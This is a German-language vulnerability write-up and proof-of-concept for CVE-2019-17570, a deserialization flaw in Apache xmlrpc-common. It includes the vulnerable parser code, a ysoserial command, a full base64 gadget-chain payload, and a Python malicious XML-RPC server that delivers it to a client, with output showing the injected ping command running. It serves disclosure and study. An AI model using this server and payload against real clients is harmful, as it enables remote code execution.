im23pds/xmlrpc-common-deserializationTechnische Analyse und Proof-of-Concept-Exploit für CVE-2019-17570, eine Java-Deserialisierungsschwachstelle in Apache xmlrpc-common, die Remote-Codeausführung über bösartige XML-RPC-Serverantworten ermöglicht.
Diese Notiz ist eine technische Notiz, die die Grundursache und den dazugehörigen Exploit im Detail beschreibt. Die ursprüngliche Offenlegung finden Sie hier. Die zugehörige CVE ist CVE-2019-17570.
xmlrpc-common bildet eine gemeinsame Codebasis zwischen xmlrpc-client und xmlrpc-server. Eine Deserialisierungsschwachstelle wurde in der Methode org.apache.xmlrpc.parser.XmlRpcResponseParser.addResult(Object) identifiziert. Sie ermöglicht es einem angreiferkontrollierten xmlrpc-Server, eine bösartige xmlrpc-Antwort zu senden, die eine Remote-Codeausführung im xmlrpc-Client auslöst.
Die Deserialisierung wird durch die Verwendung von xmlrpc-Fehlern ausgelöst, die einen faultCause enthalten können. Der Inhalt dieses Knotens wird als Byte-Array verarbeitet und später mit readObject() in ein Java-Objekt deserialisiert:
protected void addResult(Object pResult) throws SAXException {
if (isSuccess) {
super.setResult(pResult);
} else {
Map map = (Map) pResult;
Integer faultCode = (Integer) map.get("faultCode");
if (faultCode == null) {
throw new SAXParseException("Missing faultCode", getDocumentLocator());
}
try {
errorCode = faultCode.intValue();
} catch (NumberFormatException e) {
throw new SAXParseException("Invalid faultCode: " + faultCode,
getDocumentLocator());
}
errorMessage = (String) map.get("faultString");
Object exception = map.get("faultCause");
if (exception != null) {
try {
byte[] bytes = (byte[]) exception;
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
errorCause = (Throwable) ois.readObject();
ois.close();
bais.close();
} catch (Throwable t) {
// Ignore me
}
}
}
}
Die Schwachstelle unterscheidet sich von CVE-2016-5003, die den Typ ex:serialized ausnutzt, um eine Deserialisierung auszulösen. Diese neue Schwachstelle betrifft xmlrpc-common auch in seiner Standardkonfiguration, wenn die Erweiterung deaktiviert ist.
Obwohl die Schwachstelle in xmlrpc-common liegt, erfordert die Ausnutzung die Verwendung einer Gadget-Kette, um eine Remote-Codeausführung zu erreichen. Die Gadget-Kette hängt von den im Klassenpfad verfügbaren Klassen ab. Zu Demonstrationszwecken hat unser Proof-of-Concept Apache commons-collections-3.2.1 zum Klassenpfad hinzugefügt, und die Gadget-Kette wurde mit ysoserial generiert.
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Ein Angreifer kann beliebigen Code im Kontext eines xmlrpc-Clients ausführen, der anfällige Versionen von xmlrpc-common verwendet.
Unser Proof of Concept verwendet einen absichtlich geschriebenen xmlrpc-Testclient und einen angreiferkontrollierten xmlrpc-Server.
Der Hauptzweck dieses Servers besteht darin, die serialisierte Nutzlast an den anfälligen Client zu liefern. Die serialisierte Nutzlast wurde erstellt mit:
$ java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "ping www.google.com" | base64
...
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAU3QAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAANXEAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAATcGluZyB3d3cuZ29vZ2xlLmNvbXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
Der Server selbst ist recht einfach und besteht hauptsächlich aus:
def create_fault_deser(payload):
return b'''<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>1337</int></value>
</member>
<member>
<name>faultString</name>
<value><string>You have been pwned</string></value>
</member>
<member>
<name>faultCause</name>
<value><base64>%s</base64></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
''' % (payload)
class Handler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.send_header('Content-Type', 'text/xml')
self.end_headers()
self.wfile.write(create_fault_deser(PING_COMMONS_COLLECTIONS))
httpd = socketserver.TCPServer(('0.0.0.0', 8888), Handler)
httpd.serve_forever()
Die oben verwendete Variable PING_COMMONS_COLLECTIONS wird auf die Ausgabe des ysoserial-Befehls gesetzt.
Unser Testclient-Quellcode ist:
package poc.xmlrpcdeser;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Hashtable;
import org.apache.xmlrpc.XmlRpcException;
import org.apache.xmlrpc.client.XmlRpcClient;
import org.apache.xmlrpc.client.XmlRpcClientConfigImpl;
public class VulnerableClient {
public static void main(String[] args) throws MalformedURLException, XmlRpcException {
String domainName = "http://127.0.0.1:8888";
String serverurl = domainName + "/RPC2";
XmlRpcClientConfigImpl config = new XmlRpcClientConfigImpl();
config.setServerURL(new URL(serverurl));
XmlRpcClient client = new XmlRpcClient();
client.setConfig(config);
Object[] params = new Object[]{"test", "'tell me you are alive' 1337"};
Object result = (Object) client.execute("xmlrpc-api", params);
}
}
Nach dem Kompilieren mit make lösen Sie die Codeausführung aus mit:
$ java -jar target/VulnerableClient-1.0-SNAPSHOT-jar-with-dependencies.jar
Die bösartige Nutzlast wird an das unschuldige Opfer geliefert:
$ ./xmlrpc-server.py
127.0.0.1 - - [redacted] "POST /RPC2 HTTP/1.1" 200 -
Unser Testclient schlägt fehl:
Exception in thread "main" org.apache.xmlrpc.XmlRpcException: You have been pwned
at org.apache.xmlrpc.client.XmlRpcStreamTransport.readResponse(XmlRpcStreamTransport.java:205)
at org.apache.xmlrpc.client.XmlRpcStreamTransport.sendRequest(XmlRpcStreamTransport.java:156)
at org.apache.xmlrpc.client.XmlRpcHttpTransport.sendRequest(XmlRpcHttpTransport.java:143)
at org.apache.xmlrpc.client.XmlRpcSunHttpTransport.sendRequest(XmlRpcSunHttpTransport.java:69)
at org.apache.xmlrpc.client.XmlRpcClientWorker.execute(XmlRpcClientWorker.java:56)
at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:167)
at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:137)
at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:126)
at poc.xmlrpcdeser.VulnerableClient.main(VulnerableClient.java:21)
Caused by: BadAttributeValueException: foo=1
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Caused by:
BadAttributeValueException: foo=1
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Aber die Nutzlast ping www.google.com wird ausgeführt:
1 0.000000 127.0.0.1 → 127.0.0.1 TCP 64 49378 → 8888 [SYN]
3 0.000084 127.0.0.1 → 127.0.0.1 TCP 64 8888 → 49378 [SYN, ACK]
5 0.000092 127.0.0.1 → 127.0.0.1 TCP 52 49378 → 8888 [ACK]
11 0.001955 127.0.0.1 → 127.0.0.1 HTTP/XML 259 POST /RPC2 HTTP/1.1
25 0.002905 127.0.0.1 → 127.0.0.1 HTTP/XML 52 HTTP/1.0 200 OK
29 0.133997 192.168.1.14 → 216.58.198.196 ICMP 84 Echo (ping) request id=0x1528, seq=0/0, ttl=64
34 0.149668 216.58.198.196 → 192.168.1.14 ICMP 84 Echo (ping) reply id=0x1528, seq=0/0, ttl=51 (request in 29)
35 1.139284 192.168.1.14 → 216.58.198.196 ICMP 84 Echo (ping) request id=0x1528, seq=1/256, ttl=64
36 1.153082 216.58.198.196 → 192.168.1.14 ICMP 84 Echo (ping) reply id=0x1528, seq=1/256, ttl=51 (request in 35)
Bitte beachten Sie, dass die tshark-Ausgabe gekürzt wurde, um unnötige Pakete nicht anzuzeigen.
2019-11-19: Apache per E-Mail informiert 2019-11-19: Apache XML-RPC wird nicht mehr aktiv gewartet 2019-11-21: Red Hat per E-Mail informiert 2019-11-22: Schwachstelle dem Apache-Projekt neu zugewiesen 2020-01-06: Distro OSS Sicherheit per E-Mail informiert 2020-01-16: Schwachstelle auf der OSS-Sicherheits-Mailingliste veröffentlicht 2020-01-24: Schwachstellendetails und Proof of Concept auf github.com veröffentlicht
Guillaume TEISSIER (Orange) Orange group
xmlrpc-common bildet die Basis von xmlrpc, und nur wenige Artefakte referenzieren es. Aber wenn wir uns die Benutzer des xmlrpc-Clients ansehen, finden wir 124 Artefakte, die xmlrpc-common transitiv einbinden.
Die Schwachstelle betrifft mindestens die folgenden Versionen:
Die folgenden Versionen sind immun gegen diese Schwachstelle, da sie keine Suche nach faultCause in der empfangenen Antwort durchführen: